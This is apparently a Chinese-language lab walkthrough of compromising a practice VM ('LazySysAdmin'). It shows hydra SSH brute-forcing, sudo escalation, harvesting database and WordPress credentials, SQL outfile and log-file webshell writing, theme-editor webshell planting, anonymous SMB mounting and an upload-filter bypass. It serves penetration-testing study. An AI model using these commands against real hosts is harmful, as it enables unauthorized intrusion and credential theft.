文章目录
一、实验环境
kali:192.168.56.104
扫描同一网段,探测主机:
nmap -sP 192.168.56.0/24
这就好办了,确定靶机ip为
192.168.56.103
二、信息收集
扫描端口:
nmap -sS -Pn -T4 -sV -O 192.168.56.103
所得到的信息:
OS: Linux 3.2 – 4.9(Ubuntu)
22端口: ssh——OpenSSH 6.6.1
80端口: http——Apache httpd 2.4.7
139端口: netbios——Samba smbd 3.x – 4.x
445端口: netbios——Samba smbd 4.3.11
3306端口: mysql——MySQL
6667端口: irc——InspIRCd
扫描目录:
dirb http://192.168.56.103
扫描出了很多目录,后面的就不一一截图了,等下进行漏洞探测!
三、渗透测试
1. 22端口(ssh爆破)
尝试ssh爆破:
很遗憾没能直接爆破出来,但在我们扫描目录的时候不难发现这是一个
wordpress博客网站
进到主页里面寻找有用信息:
满屏的togie,啧啧,指定用户名,继续进行ssh爆破:
hydra -l togie -P password.txt -vV -t4 192.168.56.103 ssh
用户名: togie
密码: 12345
也可以使用msf的auxiliary/scanner/ssh/ssh_login模块,爆破ssh
ssh连接:
ssh togie@192.168.56.103
从gid和uid可以看出我们并不是root权限
尝试提权:
sudo su 切换root身份,发现直接可以获得root权限:
在网站根目录下写马:
蚁剑连接失败,enmm22端口就到这儿吧!
2. 网站主页
主要从两个方面入手:
1、
wordpress登陆界面
2、
phpmyadmin登陆界面
另外网站存在
robots.txt
文件:
前三个都没什么用,第四个的图片名有点像base64:
解码后:
I$8b4f5a97-4757-4157-afe8-9a1a8
,还看不出来作用,先放着
phpmyadmin
默认的phpmyadmin配置文件位于phpmyadmin文件夹下,一般以下两个都是:
-
phpmyadmin/libraries/config.default.php
-
./config.inc.php
root@LazySysAdmin:/usr/share/phpmyadmin/libraries# cat config.default.php
查看config.default.php配置文件:只有用户名没有密码。。
但空密码登陆被禁止:
在
/etc/phpmyadmin/config-db.php
配置文件中找到了线索
用户名:phpmyadmin
密码:TogieMYSQL12345
但还是没办法登陆:
最终用
root
TogieMYSQL12345
成功登录!
phpmyadmin挂马的两种方式:
1、利用into outfile写文件挂马
show variables like "%secure%";
查看 MySQL 自定义的输出路径
已经指定了路径,那就先尝试一下向指定路径写马:
select "<?php phpinfo();?>" into outfile "/var/lib/mysql-files/test.php"
写入成功,浏览器查看并没有被解析
那就只能修改
secure_file_priv
的值,然后写入根路径了。
之前已经确定了网站根路径为:
/var/www/html
set global secure_file_priv = ''
失败。
2、利用日志文件挂马
查看全局日志情况:
show variables like "%general%"
不仅关闭,还限制了路径
开启日志记录:
set global general_log = on
设置日志路径为网站根目录:
set global general_log_file = "/var/www/html"
又失败了。
wordpress登陆
查看wordpress数据库,但报错了
看了看其他大佬的博客,好像是phpmyadmin配置文件本身的问题,去改一下试试。
找到phpmyadmin的配置文件:config.inc.php
将下面这一行:
$cfg['Servers'][$i]['table_uiprefs'] = 'pma_table_uiprefs';
改为:
$cfg['Servers'][$i]['pma__table_uiprefs'] = 'pma__table_uiprefs';
se,x_16)
使用service apache2 restart重启apache服务就可以了。(需要使用root权限操作)
就可以访问数据库内容了:
Admin
的密码被加密了
不是MD5加密,emm先搁置一下,至少我们知道存在用户
Admin
可以登录wordpress
$P$B.LCmtO3gkm0PdZNkBwgz2HQweq2Ur0
换一种方式获取密码:
查看wordpress的配置文件:
/var/www/html/wordpress/wp-config.php
密码为:
TogieMYSQL12345^^
成功登录:
上传一句话木马被拦截:
在主题编辑的地方找到一个php文件:
echo "11111111111";
网页访问可以正常输入
直接写入一句话,通过蚁剑连接:
3. 139 445端口(SMB)
SMB协议用于实现局域网的文件和打印机共享,Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。
常见的用于实现该共享功能的开放端口是139和445端口,一般连接会要求用户密码,但某些时候也会允许无密码连接。
本次就利用samba配置不当,导致无密码连接时泄漏重要文件,来进行渗透。
又发现允许无账号密码连接:
在连接目标主机的SMB文件共享服务时,有两种方式:
1、
资源管理器连接
2、
命令行连接
1、资源管理器连接:
1、Windows下,打开我的电脑,在地址栏输入 \192.168.56.103,提示输入账号密码,即可。
2、Linux下,在资源管理器下的网络服务中,输入smb://192.168.56.103 即可。
2、命令行连接:
1、远程网络挂载:
mount -t cifs //ip地址/path/to/share path/to/mount
mount:挂载命令
-t cifs: 用cifs文件系统挂载samba共享文件,如果提示错误的文件系统的话,可能是没有cifs,需要自己安装。【centos: yum install nfs-utils】
//ip地址/path/to/share:共享目录路径
path/to/mount:要挂载的路径,需要自己创建一个,这里我创建的文件夹是mount
mount -t cifs //192.168.56.103/share$ ./mount/
成功:
2、
smbclient连接
445端口的渗透测试就到此
4、6667端口(irc)
6667端口运行着irc服务软件InspIRCd,InspIRCd是一个可扩展的IRC软件包,可以在Linux、BSD或视窗系统下建立一个运行稳定界面时尚体积小巧的IRC聊天服务器。
搜索模块:
search unreal_ircd_3281_backdoor
利用模块
use exploit/unix/irc/unreal_ircd_3281_backdoor
查看参数,设置目标ip
show options
set rhosts 目标IP地址
执行:
exploit
但并不成功!
四、总结
总结一下渗透该靶机的大致的流程:
1、扫描主机,搜集端口服务及OS信息
2、利用信息泄漏(my name is togie)及弱口令爆出ssh密码
3、连接ssh,利用用户权限配置不当,得到root权限
4、利用root权限查看配置文件,得到phpmyadmin帐号密码
5、利用root权限,得到用户信息,登录Wordpress默认管理后台
6、在Wordpress中利用文件上传及插件进行种马,getshell
7、samba文件共享信息泄露,得到之前爆出的账号密码
知识点:
WordPress默认后台是 /wp-admin,其中插件功能存在众多漏洞,可以利用插件挂马。
phpmyadmin中挂马的两种方式:
1、into outfile直接写文件;
2、利用日志执行包含木马的sql语句。
做网站渗透时,一定不要忽略robots.txt文件,可能会有意外收获
Apache读文件名是从前到后,因此可以利用name.jpg.php来绕过检测